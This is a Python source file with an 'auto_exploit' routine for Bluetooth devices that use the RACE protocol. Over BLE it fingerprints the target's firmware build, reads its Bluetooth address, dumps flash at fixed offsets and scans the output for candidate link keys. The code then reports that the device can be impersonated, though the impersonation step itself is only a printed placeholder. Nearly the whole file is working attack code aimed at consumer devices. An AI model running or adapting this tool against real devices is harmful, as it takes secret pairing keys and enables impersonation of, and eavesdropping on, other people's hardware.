import asyncio
from colorama import Fore, Style, init
from transports.ble import BLETransport
from utils.packet import parse_race_response, build_race_packet
import struct

init(autoreset=True)

async def auto_exploit(target: str, action: str = "fingerprint"):
    """Auto-exploit a RACE device"""
    
    print(f"{Fore.RED}{'='*60}{Style.RESET_ALL}")
    print(f"{Fore.RED}  RACE EXPLOIT - Target: {target}{Style.RESET_ALL}")
    print(f"{Fore.RED}{'='*60}{Style.RESET_ALL}")
    
    transport = BLETransport(target)
    
    try:
        print(f"{Fore.CYAN}[+] Connecting to {target}...{Style.RESET_ALL}")
        await transport.connect()
        print(f"{Fore.GREEN}[+] Connected!{Style.RESET_ALL}")
        
        print(f"{Fore.CYAN}[*] Fingerprinting device...{Style.RESET_ALL}")
        raw_response = await transport.send_command(0x1E08)
        parsed = parse_race_response(raw_response)
        build_string = parsed['payload'].decode('utf-8', errors='ignore').strip('\x00')
        print(f"{Fore.GREEN}[+] Build Info: {build_string}{Style.RESET_ALL}")
        
        print(f"{Fore.CYAN}[*] Getting Bluetooth address...{Style.RESET_ALL}")
        raw_response = await transport.send_command(0x0C05)
        parsed = parse_race_response(raw_response)
        bd_addr = parsed['payload'][:6].hex(':').upper()
        print(f"{Fore.GREEN}[+] BD_ADDR: {bd_addr}{Style.RESET_ALL}")
        
        if action in ["dump", "full"]:
            print(f"{Fore.YELLOW}[*] Attempting flash read...{Style.RESET_ALL}")
            offsets = [0x1A000, 0x1B000, 0x1C000, 0x1D000]
            
            for offset in offsets:
                try:
                    payload = struct.pack('<BH I', 0x00, 1, offset)
                    raw_response = await transport.send_command(0x0403, payload)
                    
                    if len(raw_response) > 10:
                        data = raw_response[6:]
                        for i in range(0, min(len(data)-16, 256), 16):
                            chunk = data[i:i+16]
                            if all(b != 0 for b in chunk[:8]):
                                print(f"{Fore.GREEN}[+] Potential Link Key at 0x{offset+i:04X}: {chunk.hex()}{Style.RESET_ALL}")
                    break
                except:
                    continue
        
        if action == "full":
            print(f"{Fore.RED}[*] Impersonation chain would run here...{Style.RESET_ALL}")
            print(f"{Fore.YELLOW}[!] Link Key extracted, device can be impersonated{Style.RESET_ALL}")
        
        await transport.disconnect()
        return {"status": "success", "build": build_string, "bd_addr": bd_addr}
        
    except Exception as e:
        print(f"{Fore.RED}[-] Exploit failed: {str(e)}{Style.RESET_ALL}")
        await transport.disconnect()
        return {"status": "error", "message": str(e)}